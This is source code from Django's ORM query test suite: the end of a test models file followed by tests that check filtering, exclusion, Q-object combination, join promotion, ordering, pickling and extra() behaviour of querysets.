    students = models.ManyToManyField(Student, related_name='classroom')


class Ticket23605AParent(models.Model):
    pass


class Ticket23605A(Ticket23605AParent):
    pass


class Ticket23605B(models.Model):
    modela_fk = models.ForeignKey(Ticket23605A, models.CASCADE)
    modelc_fk = models.ForeignKey("Ticket23605C", models.CASCADE)
    field_b0 = models.IntegerField(null=True)
    field_b1 = models.BooleanField(default=False)


class Ticket23605C(models.Model):
    field_c0 = models.FloatField()


# db_table names have capital letters to ensure they are quoted in queries.
class Individual(models.Model):
    alive = models.BooleanField()

    class Meta:
        db_table = 'Individual'


class RelatedIndividual(models.Model):
    related = models.ForeignKey(Individual, models.CASCADE, related_name='related_individual')

    class Meta:
        db_table = 'RelatedIndividual'












from __future__ import unicode_literals

import datetime
import pickle
import unittest
from collections import OrderedDict
from operator import attrgetter

from django.core.exceptions import EmptyResultSet, FieldError
from django.db import DEFAULT_DB_ALIAS, connection
from django.db.models import Count, F, Q
from django.db.models.sql.constants import LOUTER
from django.db.models.sql.where import NothingNode, WhereNode
from django.test import TestCase, skipUnlessDBFeature
from django.test.utils import CaptureQueriesContext
from django.utils import six
from django.utils.six.moves import range

from .models import (
    FK1, Annotation, Article, Author, BaseA, Book, CategoryItem,
    CategoryRelationship, Celebrity, Channel, Chapter, Child, ChildObjectA,
    Classroom, Company, Cover, CustomPk, CustomPkTag, Detail, DumbCategory,
    Eaten, Employment, ExtraInfo, Fan, Food, Identifier, Individual, Item, Job,
    JobResponsibilities, Join, LeafA, LeafB, LoopX, LoopZ, ManagedModel,
    Member, ModelA, ModelB, ModelC, ModelD, MyObject, NamedCategory, Node,
    Note, NullableName, Number, ObjectA, ObjectB, ObjectC, OneToOneCategory,
    Order, OrderItem, Page, Paragraph, Person, Plaything, PointerA, Program,
    ProxyCategory, ProxyObjectA, ProxyObjectB, Ranking, Related,
    RelatedIndividual, RelatedObject, Report, ReservedName, Responsibility,
    School, SharedConnection, SimpleCategory, SingleObject, SpecialCategory,
    Staff, StaffUser, Student, Tag, Task, Ticket21203Child, Ticket21203Parent,
    Ticket23605A, Ticket23605B, Ticket23605C, TvChef, Valid, X,
)


class BaseQuerysetTest(TestCase):
    def assertValueQuerysetEqual(self, qs, values):
        return self.assertQuerysetEqual(qs, values, transform=lambda x: x)


class Queries1Tests(BaseQuerysetTest):
    @classmethod
    def setUpTestData(cls):
        generic = NamedCategory.objects.create(name="Generic")
        cls.t1 = Tag.objects.create(name='t1', category=generic)
        cls.t2 = Tag.objects.create(name='t2', parent=cls.t1, category=generic)
        cls.t3 = Tag.objects.create(name='t3', parent=cls.t1)
        t4 = Tag.objects.create(name='t4', parent=cls.t3)
        cls.t5 = Tag.objects.create(name='t5', parent=cls.t3)

        cls.n1 = Note.objects.create(note='n1', misc='foo', id=1)
        n2 = Note.objects.create(note='n2', misc='bar', id=2)
        cls.n3 = Note.objects.create(note='n3', misc='foo', id=3)

        ann1 = Annotation.objects.create(name='a1', tag=cls.t1)
        ann1.notes.add(cls.n1)
        ann2 = Annotation.objects.create(name='a2', tag=t4)
        ann2.notes.add(n2, cls.n3)

        # Create these out of order so that sorting by 'id' will be different to sorting
        # by 'info'. Helps detect some problems later.
        cls.e2 = ExtraInfo.objects.create(info='e2', note=n2, value=41)
        e1 = ExtraInfo.objects.create(info='e1', note=cls.n1, value=42)

        cls.a1 = Author.objects.create(name='a1', num=1001, extra=e1)
        cls.a2 = Author.objects.create(name='a2', num=2002, extra=e1)
        a3 = Author.objects.create(name='a3', num=3003, extra=cls.e2)
        cls.a4 = Author.objects.create(name='a4', num=4004, extra=cls.e2)

        cls.time1 = datetime.datetime(2007, 12, 19, 22, 25, 0)
        cls.time2 = datetime.datetime(2007, 12, 19, 21, 0, 0)
        time3 = datetime.datetime(2007, 12, 20, 22, 25, 0)
        time4 = datetime.datetime(2007, 12, 20, 21, 0, 0)
        cls.i1 = Item.objects.create(name='one', created=cls.time1, modified=cls.time1, creator=cls.a1, note=cls.n3)
        cls.i1.tags.set([cls.t1, cls.t2])
        cls.i2 = Item.objects.create(name='two', created=cls.time2, creator=cls.a2, note=n2)
        cls.i2.tags.set([cls.t1, cls.t3])
        cls.i3 = Item.objects.create(name='three', created=time3, creator=cls.a2, note=cls.n3)
        i4 = Item.objects.create(name='four', created=time4, creator=cls.a4, note=cls.n3)
        i4.tags.set([t4])

        cls.r1 = Report.objects.create(name='r1', creator=cls.a1)
        Report.objects.create(name='r2', creator=a3)
        Report.objects.create(name='r3')

        # Ordering by 'rank' gives us rank2, rank1, rank3. Ordering by the Meta.ordering
        # will be rank3, rank2, rank1.
        cls.rank1 = Ranking.objects.create(rank=2, author=cls.a2)

        Cover.objects.create(title="first", item=i4)
        Cover.objects.create(title="second", item=cls.i2)

    def test_subquery_condition(self):
        qs1 = Tag.objects.filter(pk__lte=0)
        qs2 = Tag.objects.filter(parent__in=qs1)
        qs3 = Tag.objects.filter(parent__in=qs2)
        self.assertEqual(qs3.query.subq_aliases, {'T', 'U', 'V'})
        self.assertIn('v0', str(qs3.query).lower())
        qs4 = qs3.filter(parent__in=qs1)
        self.assertEqual(qs4.query.subq_aliases, {'T', 'U', 'V'})
        # It is possible to reuse U for the second subquery, no need to use W.
        self.assertNotIn('w0', str(qs4.query).lower())
        # So, 'U0."id"' is referenced twice.
        self.assertTrue(str(qs4.query).lower().count('u0'), 2)

    def test_ticket1050(self):
        self.assertQuerysetEqual(
            Item.objects.filter(tags__isnull=True),
            ['<Item: three>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(tags__id__isnull=True),
            ['<Item: three>']
        )

    def test_ticket1801(self):
        self.assertQuerysetEqual(
            Author.objects.filter(item=self.i2),
            ['<Author: a2>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(item=self.i3),
            ['<Author: a2>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(item=self.i2) & Author.objects.filter(item=self.i3),
            ['<Author: a2>']
        )

    def test_ticket2306(self):
        # Checking that no join types are "left outer" joins.
        query = Item.objects.filter(tags=self.t2).query
        self.assertNotIn(LOUTER, [x.join_type for x in query.alias_map.values()])

        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags=self.t1)).order_by('name'),
            ['<Item: one>', '<Item: two>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags=self.t1)).filter(Q(tags=self.t2)),
            ['<Item: one>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags=self.t1)).filter(Q(creator__name='fred') | Q(tags=self.t2)),
            ['<Item: one>']
        )

        # Each filter call is processed "at once" against a single table, so this is
        # different from the previous example as it tries to find tags that are two
        # things at once (rather than two tags).
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags=self.t1) & Q(tags=self.t2)),
            []
        )
        self.assertQuerysetEqual(
            Item.objects.filter(Q(tags=self.t1), Q(creator__name='fred') | Q(tags=self.t2)),
            []
        )

        qs = Author.objects.filter(ranking__rank=2, ranking__id=self.rank1.id)
        self.assertQuerysetEqual(list(qs), ['<Author: a2>'])
        self.assertEqual(2, qs.query.count_active_tables(), 2)
        qs = Author.objects.filter(ranking__rank=2).filter(ranking__id=self.rank1.id)
        self.assertEqual(qs.query.count_active_tables(), 3)

    def test_ticket4464(self):
        self.assertQuerysetEqual(
            Item.objects.filter(tags=self.t1).filter(tags=self.t2),
            ['<Item: one>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(tags__in=[self.t1, self.t2]).distinct().order_by('name'),
            ['<Item: one>', '<Item: two>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(tags__in=[self.t1, self.t2]).filter(tags=self.t3),
            ['<Item: two>']
        )

        # Make sure .distinct() works with slicing (this was broken in Oracle).
        self.assertQuerysetEqual(
            Item.objects.filter(tags__in=[self.t1, self.t2]).order_by('name')[:3],
            ['<Item: one>', '<Item: one>', '<Item: two>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(tags__in=[self.t1, self.t2]).distinct().order_by('name')[:3],
            ['<Item: one>', '<Item: two>']
        )

    def test_tickets_2080_3592(self):
        self.assertQuerysetEqual(
            Author.objects.filter(item__name='one') | Author.objects.filter(name='a3'),
            ['<Author: a1>', '<Author: a3>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(Q(item__name='one') | Q(name='a3')),
            ['<Author: a1>', '<Author: a3>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(Q(name='a3') | Q(item__name='one')),
            ['<Author: a1>', '<Author: a3>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(Q(item__name='three') | Q(report__name='r3')),
            ['<Author: a2>']
        )

    def test_ticket6074(self):
        # Merging two empty result sets shouldn't leave a queryset with no constraints
        # (which would match everything).
        self.assertQuerysetEqual(Author.objects.filter(Q(id__in=[])), [])
        self.assertQuerysetEqual(
            Author.objects.filter(Q(id__in=[]) | Q(id__in=[])),
            []
        )

    def test_tickets_1878_2939(self):
        self.assertEqual(Item.objects.values('creator').distinct().count(), 3)

        # Create something with a duplicate 'name' so that we can test multi-column
        # cases (which require some tricky SQL transformations under the covers).
        xx = Item(name='four', created=self.time1, creator=self.a2, note=self.n1)
        xx.save()
        self.assertEqual(
            Item.objects.exclude(name='two').values('creator', 'name').distinct().count(),
            4
        )
        self.assertEqual(
            (
                Item.objects
                .exclude(name='two')
                .extra(select={'foo': '%s'}, select_params=(1,))
                .values('creator', 'name', 'foo')
                .distinct()
                .count()
            ),
            4
        )
        self.assertEqual(
            (
                Item.objects
                .exclude(name='two')
                .extra(select={'foo': '%s'}, select_params=(1,))
                .values('creator', 'name')
                .distinct()
                .count()
            ),
            4
        )
        xx.delete()

    def test_ticket7323(self):
        self.assertEqual(Item.objects.values('creator', 'name').count(), 4)

    def test_ticket2253(self):
        q1 = Item.objects.order_by('name')
        q2 = Item.objects.filter(id=self.i1.id)
        self.assertQuerysetEqual(
            q1,
            ['<Item: four>', '<Item: one>', '<Item: three>', '<Item: two>']
        )
        self.assertQuerysetEqual(q2, ['<Item: one>'])
        self.assertQuerysetEqual(
            (q1 | q2).order_by('name'),
            ['<Item: four>', '<Item: one>', '<Item: three>', '<Item: two>']
        )
        self.assertQuerysetEqual((q1 & q2).order_by('name'), ['<Item: one>'])

        q1 = Item.objects.filter(tags=self.t1)
        q2 = Item.objects.filter(note=self.n3, tags=self.t2)
        q3 = Item.objects.filter(creator=self.a4)
        self.assertQuerysetEqual(
            ((q1 & q2) | q3).order_by('name'),
            ['<Item: four>', '<Item: one>']
        )

    def test_order_by_tables(self):
        q1 = Item.objects.order_by('name')
        q2 = Item.objects.filter(id=self.i1.id)
        list(q2)
        combined_query = (q1 & q2).order_by('name').query
        self.assertEqual(len([
            t for t in combined_query.tables if combined_query.alias_refcount[t]
        ]), 1)

    def test_order_by_join_unref(self):
        """
        This test is related to the above one, testing that there aren't
        old JOINs in the query.
        """
        qs = Celebrity.objects.order_by('greatest_fan__fan_of')
        self.assertIn('OUTER JOIN', str(qs.query))
        qs = qs.order_by('id')
        self.assertNotIn('OUTER JOIN', str(qs.query))

    def test_get_clears_ordering(self):
        """
        get() should clear ordering for optimization purposes.
        """
        with CaptureQueriesContext(connection) as captured_queries:
            Author.objects.order_by('name').get(pk=self.a1.pk)
        self.assertNotIn('order by', captured_queries[0]['sql'].lower())

    def test_tickets_4088_4306(self):
        self.assertQuerysetEqual(
            Report.objects.filter(creator=1001),
            ['<Report: r1>']
        )
        self.assertQuerysetEqual(
            Report.objects.filter(creator__num=1001),
            ['<Report: r1>']
        )
        self.assertQuerysetEqual(Report.objects.filter(creator__id=1001), [])
        self.assertQuerysetEqual(
            Report.objects.filter(creator__id=self.a1.id),
            ['<Report: r1>']
        )
        self.assertQuerysetEqual(
            Report.objects.filter(creator__name='a1'),
            ['<Report: r1>']
        )

    def test_ticket4510(self):
        self.assertQuerysetEqual(
            Author.objects.filter(report__name='r1'),
            ['<Author: a1>']
        )

    def test_ticket7378(self):
        self.assertQuerysetEqual(self.a1.report_set.all(), ['<Report: r1>'])

    def test_tickets_5324_6704(self):
        self.assertQuerysetEqual(
            Item.objects.filter(tags__name='t4'),
            ['<Item: four>']
        )
        self.assertQuerysetEqual(
            Item.objects.exclude(tags__name='t4').order_by('name').distinct(),
            ['<Item: one>', '<Item: three>', '<Item: two>']
        )
        self.assertQuerysetEqual(
            Item.objects.exclude(tags__name='t4').order_by('name').distinct().reverse(),
            ['<Item: two>', '<Item: three>', '<Item: one>']
        )
        self.assertQuerysetEqual(
            Author.objects.exclude(item__name='one').distinct().order_by('name'),
            ['<Author: a2>', '<Author: a3>', '<Author: a4>']
        )

        # Excluding across a m2m relation when there is more than one related
        # object associated was problematic.
        self.assertQuerysetEqual(
            Item.objects.exclude(tags__name='t1').order_by('name'),
            ['<Item: four>', '<Item: three>']
        )
        self.assertQuerysetEqual(
            Item.objects.exclude(tags__name='t1').exclude(tags__name='t4'),
            ['<Item: three>']
        )

        # Excluding from a relation that cannot be NULL should not use outer joins.
        query = Item.objects.exclude(creator__in=[self.a1, self.a2]).query
        self.assertNotIn(LOUTER, [x.join_type for x in query.alias_map.values()])

        # Similarly, when one of the joins cannot possibly, ever, involve NULL
        # values (Author -> ExtraInfo, in the following), it should never be
        # promoted to a left outer join. So the following query should only
        # involve one "left outer" join (Author -> Item is 0-to-many).
        qs = Author.objects.filter(id=self.a1.id).filter(Q(extra__note=self.n1) | Q(item__note=self.n3))
        self.assertEqual(
            len([
                x for x in qs.query.alias_map.values()
                if x.join_type == LOUTER and qs.query.alias_refcount[x.table_alias]
            ]),
            1
        )

        # The previous changes shouldn't affect nullable foreign key joins.
        self.assertQuerysetEqual(
            Tag.objects.filter(parent__isnull=True).order_by('name'),
            ['<Tag: t1>']
        )
        self.assertQuerysetEqual(
            Tag.objects.exclude(parent__isnull=True).order_by('name'),
            ['<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>']
        )
        self.assertQuerysetEqual(
            Tag.objects.exclude(Q(parent__name='t1') | Q(parent__isnull=True)).order_by('name'),
            ['<Tag: t4>', '<Tag: t5>']
        )
        self.assertQuerysetEqual(
            Tag.objects.exclude(Q(parent__isnull=True) | Q(parent__name='t1')).order_by('name'),
            ['<Tag: t4>', '<Tag: t5>']
        )
        self.assertQuerysetEqual(
            Tag.objects.exclude(Q(parent__parent__isnull=True)).order_by('name'),
            ['<Tag: t4>', '<Tag: t5>']
        )
        self.assertQuerysetEqual(
            Tag.objects.filter(~Q(parent__parent__isnull=True)).order_by('name'),
            ['<Tag: t4>', '<Tag: t5>']
        )

    def test_ticket2091(self):
        t = Tag.objects.get(name='t4')
        self.assertQuerysetEqual(
            Item.objects.filter(tags__in=[t]),
            ['<Item: four>']
        )

    def test_avoid_infinite_loop_on_too_many_subqueries(self):
        x = Tag.objects.filter(pk=1)
        local_recursion_limit = 127
        msg = 'Maximum recursion depth exceeded: too many subqueries.'
        with self.assertRaisesMessage(RuntimeError, msg):
            for i in six.moves.range(local_recursion_limit * 2):
                x = Tag.objects.filter(pk__in=x)

    def test_reasonable_number_of_subq_aliases(self):
        x = Tag.objects.filter(pk=1)
        for _ in range(20):
            x = Tag.objects.filter(pk__in=x)
        self.assertEqual(
            x.query.subq_aliases, {
                'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB', 'AC', 'AD',
                'AE', 'AF', 'AG', 'AH', 'AI', 'AJ', 'AK', 'AL', 'AM', 'AN',
            }
        )

    def test_heterogeneous_qs_combination(self):
        # Combining querysets built on different models should behave in a well-defined
        # fashion. We raise an error.
        with self.assertRaisesMessage(AssertionError, 'Cannot combine queries on two different base models.'):
            Author.objects.all() & Tag.objects.all()
        with self.assertRaisesMessage(AssertionError, 'Cannot combine queries on two different base models.'):
            Author.objects.all() | Tag.objects.all()

    def test_ticket3141(self):
        self.assertEqual(Author.objects.extra(select={'foo': '1'}).count(), 4)
        self.assertEqual(
            Author.objects.extra(select={'foo': '%s'}, select_params=(1,)).count(),
            4
        )

    def test_ticket2400(self):
        self.assertQuerysetEqual(
            Author.objects.filter(item__isnull=True),
            ['<Author: a3>']
        )
        self.assertQuerysetEqual(
            Tag.objects.filter(item__isnull=True),
            ['<Tag: t5>']
        )

    def test_ticket2496(self):
        self.assertQuerysetEqual(
            Item.objects.extra(tables=['queries_author']).select_related().order_by('name')[:1],
            ['<Item: four>']
        )

    def test_error_raised_on_filter_with_dictionary(self):
        with self.assertRaisesMessage(FieldError, 'Cannot parse keyword query as dict'):
            Note.objects.filter({'note': 'n1', 'misc': 'foo'})

    def test_tickets_2076_7256(self):
        # Ordering on related tables should be possible, even if the table is
        # not otherwise involved.
        self.assertQuerysetEqual(
            Item.objects.order_by('note__note', 'name'),
            ['<Item: two>', '<Item: four>', '<Item: one>', '<Item: three>']
        )

        # Ordering on a related field should use the remote model's default
        # ordering as a final step.
        self.assertQuerysetEqual(
            Author.objects.order_by('extra', '-name'),
            ['<Author: a2>', '<Author: a1>', '<Author: a4>', '<Author: a3>']
        )

        # Using remote model default ordering can span multiple models (in this
        # case, Cover is ordered by Item's default, which uses Note's default).
        self.assertQuerysetEqual(
            Cover.objects.all(),
            ['<Cover: first>', '<Cover: second>']
        )

        # If the remote model does not have a default ordering, we order by its 'id'
        # field.
        self.assertQuerysetEqual(
            Item.objects.order_by('creator', 'name'),
            ['<Item: one>', '<Item: three>', '<Item: two>', '<Item: four>']
        )

        # Ordering by a many-valued attribute (e.g. a many-to-many or reverse
        # ForeignKey) is legal, but the results might not make sense. That
        # isn't Django's problem. Garbage in, garbage out.
        self.assertQuerysetEqual(
            Item.objects.filter(tags__isnull=False).order_by('tags', 'id'),
            ['<Item: one>', '<Item: two>', '<Item: one>', '<Item: two>', '<Item: four>']
        )

        # If we replace the default ordering, Django adjusts the required
        # tables automatically. Item normally requires a join with Note to do
        # the default ordering, but that isn't needed here.
        qs = Item.objects.order_by('name')
        self.assertQuerysetEqual(
            qs,
            ['<Item: four>', '<Item: one>', '<Item: three>', '<Item: two>']
        )
        self.assertEqual(len(qs.query.tables), 1)

    def test_tickets_2874_3002(self):
        qs = Item.objects.select_related().order_by('note__note', 'name')
        self.assertQuerysetEqual(
            qs,
            ['<Item: two>', '<Item: four>', '<Item: one>', '<Item: three>']
        )

        # This is also a good select_related() test because there are multiple
        # Note entries in the SQL. The two Note items should be different.
        self.assertTrue(repr(qs[0].note), '<Note: n2>')
        self.assertEqual(repr(qs[0].creator.extra.note), '<Note: n1>')

    def test_ticket3037(self):
        self.assertQuerysetEqual(
            Item.objects.filter(Q(creator__name='a3', name='two') | Q(creator__name='a4', name='four')),
            ['<Item: four>']
        )

    def test_tickets_5321_7070(self):
        # Ordering columns must be included in the output columns. Note that
        # this means results that might otherwise be distinct are not (if there
        # are multiple values in the ordering cols), as in this example. This
        # isn't a bug; it's a warning to be careful with the selection of
        # ordering columns.
        self.assertValueQuerysetEqual(
            Note.objects.values('misc').distinct().order_by('note', '-misc'),
            [{'misc': 'foo'}, {'misc': 'bar'}, {'misc': 'foo'}]
        )

    def test_ticket4358(self):
        # If you don't pass any fields to values(), relation fields are
        # returned as "foo_id" keys, not "foo". For consistency, you should be
        # able to pass "foo_id" in the fields list and have it work, too. We
        # actually allow both "foo" and "foo_id".

        # The *_id version is returned by default.
        self.assertIn('note_id', ExtraInfo.objects.values()[0])

        # You can also pass it in explicitly.
        self.assertValueQuerysetEqual(
            ExtraInfo.objects.values('note_id'),
            [{'note_id': 1}, {'note_id': 2}]
        )

        # ...or use the field name.
        self.assertValueQuerysetEqual(
            ExtraInfo.objects.values('note'),
            [{'note': 1}, {'note': 2}]
        )

    def test_ticket2902(self):
        # Parameters can be given to extra_select, *if* you use an OrderedDict.

        # (First we need to know which order the keys fall in "naturally" on
        # your system, so we can put things in the wrong way around from
        # normal. A normal dict would thus fail.)
        s = [('a', '%s'), ('b', '%s')]
        params = ['one', 'two']
        if {'a': 1, 'b': 2}.keys() == ['a', 'b']:
            s.reverse()
            params.reverse()

        # This slightly odd comparison works around the fact that PostgreSQL will
        # return 'one' and 'two' as strings, not Unicode objects. It's a side-effect of
        # using constants here and not a real concern.
        d = Item.objects.extra(select=OrderedDict(s), select_params=params).values('a', 'b')[0]
        self.assertEqual(d, {'a': 'one', 'b': 'two'})

        # Order by the number of tags attached to an item.
        l = (
            Item.objects
            .extra(select={
                'count': 'select count(*) from queries_item_tags where queries_item_tags.item_id = queries_item.id'
            })
            .order_by('-count')
        )
        self.assertEqual([o.count for o in l], [2, 2, 1, 0])

    def test_ticket6154(self):
        # Multiple filter statements are joined using "AND" all the time.

        self.assertQuerysetEqual(
            Author.objects.filter(id=self.a1.id).filter(Q(extra__note=self.n1) | Q(item__note=self.n3)),
            ['<Author: a1>']
        )
        self.assertQuerysetEqual(
            Author.objects.filter(Q(extra__note=self.n1) | Q(item__note=self.n3)).filter(id=self.a1.id),
            ['<Author: a1>']
        )

    def test_ticket6981(self):
        self.assertQuerysetEqual(
            Tag.objects.select_related('parent').order_by('name'),
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>']
        )

    def test_ticket9926(self):
        self.assertQuerysetEqual(
            Tag.objects.select_related("parent", "category").order_by('name'),
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>']
        )
        self.assertQuerysetEqual(
            Tag.objects.select_related('parent', "parent__category").order_by('name'),
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>']
        )

    def test_tickets_6180_6203(self):
        # Dates with limits and/or counts
        self.assertEqual(Item.objects.count(), 4)
        self.assertEqual(Item.objects.datetimes('created', 'month').count(), 1)
        self.assertEqual(Item.objects.datetimes('created', 'day').count(), 2)
        self.assertEqual(len(Item.objects.datetimes('created', 'day')), 2)
        self.assertEqual(Item.objects.datetimes('created', 'day')[0], datetime.datetime(2007, 12, 19, 0, 0))

    def test_tickets_7087_12242(self):
        # Dates with extra select columns
        self.assertQuerysetEqual(
            Item.objects.datetimes('created', 'day').extra(select={'a': 1}),
            ['datetime.datetime(2007, 12, 19, 0, 0)', 'datetime.datetime(2007, 12, 20, 0, 0)']
        )
        self.assertQuerysetEqual(
            Item.objects.extra(select={'a': 1}).datetimes('created', 'day'),
            ['datetime.datetime(2007, 12, 19, 0, 0)', 'datetime.datetime(2007, 12, 20, 0, 0)']
        )

        name = "one"
        self.assertQuerysetEqual(
            Item.objects.datetimes('created', 'day').extra(where=['name=%s'], params=[name]),
            ['datetime.datetime(2007, 12, 19, 0, 0)']
        )

        self.assertQuerysetEqual(
            Item.objects.extra(where=['name=%s'], params=[name]).datetimes('created', 'day'),
            ['datetime.datetime(2007, 12, 19, 0, 0)']
        )

    def test_ticket7155(self):
        # Nullable dates
        self.assertQuerysetEqual(
            Item.objects.datetimes('modified', 'day'),
            ['datetime.datetime(2007, 12, 19, 0, 0)']
        )

    def test_ticket7098(self):
        # Make sure semi-deprecated ordering by related models syntax still
        # works.
        self.assertValueQuerysetEqual(
            Item.objects.values('note__note').order_by('queries_note.note', 'id'),
            [{'note__note': 'n2'}, {'note__note': 'n3'}, {'note__note': 'n3'}, {'note__note': 'n3'}]
        )

    def test_ticket7096(self):
        # Make sure exclude() with multiple conditions continues to work.
        self.assertQuerysetEqual(
            Tag.objects.filter(parent=self.t1, name='t3').order_by('name'),
            ['<Tag: t3>']
        )
        self.assertQuerysetEqual(
            Tag.objects.exclude(parent=self.t1, name='t3').order_by('name'),
            ['<Tag: t1>', '<Tag: t2>', '<Tag: t4>', '<Tag: t5>']
        )
        self.assertQuerysetEqual(
            Item.objects.exclude(tags__name='t1', name='one').order_by('name').distinct(),
            ['<Item: four>', '<Item: three>', '<Item: two>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(name__in=['three', 'four']).exclude(tags__name='t1').order_by('name'),
            ['<Item: four>', '<Item: three>']
        )

        # More twisted cases, involving nested negations.
        self.assertQuerysetEqual(
            Item.objects.exclude(~Q(tags__name='t1', name='one')),
            ['<Item: one>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(~Q(tags__name='t1', name='one'), name='two'),
            ['<Item: two>']
        )
        self.assertQuerysetEqual(
            Item.objects.exclude(~Q(tags__name='t1', name='one'), name='two'),
            ['<Item: four>', '<Item: one>', '<Item: three>']
        )

    def test_tickets_7204_7506(self):
        # Make sure querysets with related fields can be pickled. If this
        # doesn't crash, it's a Good Thing.
        pickle.dumps(Item.objects.all())

    def test_ticket7813(self):
        # We should also be able to pickle things that use select_related().
        # The only tricky thing here is to ensure that we do the related
        # selections properly after unpickling.
        qs = Item.objects.select_related()
        query = qs.query.get_compiler(qs.db).as_sql()[0]
        query2 = pickle.loads(pickle.dumps(qs.query))
        self.assertEqual(
            query2.get_compiler(qs.db).as_sql()[0],
            query
        )

    def test_deferred_load_qs_pickling(self):
        # Check pickling of deferred-loading querysets
        qs = Item.objects.defer('name', 'creator')
        q2 = pickle.loads(pickle.dumps(qs))
        self.assertEqual(list(qs), list(q2))
        q3 = pickle.loads(pickle.dumps(qs, pickle.HIGHEST_PROTOCOL))
        self.assertEqual(list(qs), list(q3))

    def test_ticket7277(self):
        self.assertQuerysetEqual(
            self.n1.annotation_set.filter(
                Q(tag=self.t5) | Q(tag__children=self.t5) | Q(tag__children__children=self.t5)
            ),
            ['<Annotation: a1>']
        )

    def test_tickets_7448_7707(self):
        # Complex objects should be converted to strings before being used in
        # lookups.
        self.assertQuerysetEqual(
            Item.objects.filter(created__in=[self.time1, self.time2]),
            ['<Item: one>', '<Item: two>']
        )

    def test_ticket7235(self):
        # An EmptyQuerySet should not raise exceptions if it is filtered.
        Eaten.objects.create(meal='m')
        q = Eaten.objects.none()
        with self.assertNumQueries(0):
            self.assertQuerysetEqual(q.all(), [])
            self.assertQuerysetEqual(q.filter(meal='m'), [])
            self.assertQuerysetEqual(q.exclude(meal='m'), [])
            self.assertQuerysetEqual(q.complex_filter({'pk': 1}), [])
            self.assertQuerysetEqual(q.select_related('food'), [])
            self.assertQuerysetEqual(q.annotate(Count('food')), [])
            self.assertQuerysetEqual(q.order_by('meal', 'food'), [])
            self.assertQuerysetEqual(q.distinct(), [])
            self.assertQuerysetEqual(
                q.extra(select={'foo': "1"}),
                []
            )
            q.query.low_mark = 1
            with self.assertRaisesMessage(AssertionError, 'Cannot change a query once a slice has been taken'):
                q.extra(select={'foo': "1"})
            self.assertQuerysetEqual(q.reverse(), [])
            self.assertQuerysetEqual(q.defer('meal'), [])
            self.assertQuerysetEqual(q.only('meal'), [])

    def test_ticket7791(self):
        # There were "issues" when ordering and distinct-ing on fields related
        # via ForeignKeys.
        self.assertEqual(
            len(Note.objects.order_by('extrainfo__info').distinct()),
            3
        )

        # Pickling of QuerySets using datetimes() should work.
        qs = Item.objects.datetimes('created', 'month')
        pickle.loads(pickle.dumps(qs))

    def test_ticket9997(self):
        # If a ValuesList or Values queryset is passed as an inner query, we
        # make sure it's only requesting a single value and use that as the
        # thing to select.
        self.assertQuerysetEqual(
            Tag.objects.filter(name__in=Tag.objects.filter(parent=self.t1).values('name')),
            ['<Tag: t2>', '<Tag: t3>']
        )

        # Multi-valued values() and values_list() querysets should raise errors.
        with self.assertRaisesMessage(TypeError, 'Cannot use multi-field values as a filter value.'):
            Tag.objects.filter(name__in=Tag.objects.filter(parent=self.t1).values('name', 'id'))
        with self.assertRaisesMessage(TypeError, 'Cannot use multi-field values as a filter value.'):
            Tag.objects.filter(name__in=Tag.objects.filter(parent=self.t1).values_list('name', 'id'))

    def test_ticket9985(self):
        # qs.values_list(...).values(...) combinations should work.
        self.assertValueQuerysetEqual(
            Note.objects.values_list("note", flat=True).values("id").order_by("id"),
            [{'id': 1}, {'id': 2}, {'id': 3}]
        )
        self.assertQuerysetEqual(
            Annotation.objects.filter(notes__in=Note.objects.filter(note="n1").values_list('note').values('id')),
            ['<Annotation: a1>']
        )

    def test_ticket10205(self):
        # When bailing out early because of an empty "__in" filter, we need
        # to set things up correctly internally so that subqueries can continue properly.
        self.assertEqual(Tag.objects.filter(name__in=()).update(name="foo"), 0)

    def test_ticket10432(self):
        # Testing an empty "__in" filter with a generator as the value.
        def f():
            return iter([])
        n_obj = Note.objects.all()[0]

        def g():
            for i in [n_obj.pk]:
                yield i
        self.assertQuerysetEqual(Note.objects.filter(pk__in=f()), [])
        self.assertEqual(list(Note.objects.filter(pk__in=g())), [n_obj])

    def test_ticket10742(self):
        # Queries used in an __in clause don't execute subqueries

        subq = Author.objects.filter(num__lt=3000)
        qs = Author.objects.filter(pk__in=subq)
        self.assertQuerysetEqual(qs, ['<Author: a1>', '<Author: a2>'])

        # The subquery result cache should not be populated
        self.assertIsNone(subq._result_cache)

        subq = Author.objects.filter(num__lt=3000)
        qs = Author.objects.exclude(pk__in=subq)
        self.assertQuerysetEqual(qs, ['<Author: a3>', '<Author: a4>'])

        # The subquery result cache should not be populated
        self.assertIsNone(subq._result_cache)

        subq = Author.objects.filter(num__lt=3000)
        self.assertQuerysetEqual(
            Author.objects.filter(Q(pk__in=subq) & Q(name='a1')),
            ['<Author: a1>']
        )

        # The subquery result cache should not be populated
        self.assertIsNone(subq._result_cache)

    def test_ticket7076(self):
        # Excluding shouldn't eliminate NULL entries.
        self.assertQuerysetEqual(
            Item.objects.exclude(modified=self.time1).order_by('name'),
            ['<Item: four>', '<Item: three>', '<Item: two>']
        )
        self.assertQuerysetEqual(
            Tag.objects.exclude(parent__name=self.t1.name),
            ['<Tag: t1>', '<Tag: t4>', '<Tag: t5>']
        )

    def test_ticket7181(self):
        # Ordering by related tables should accommodate nullable fields (this
        # test is a little tricky, since NULL ordering is database dependent.
        # Instead, we just count the number of results).
        self.assertEqual(len(Tag.objects.order_by('parent__name')), 5)

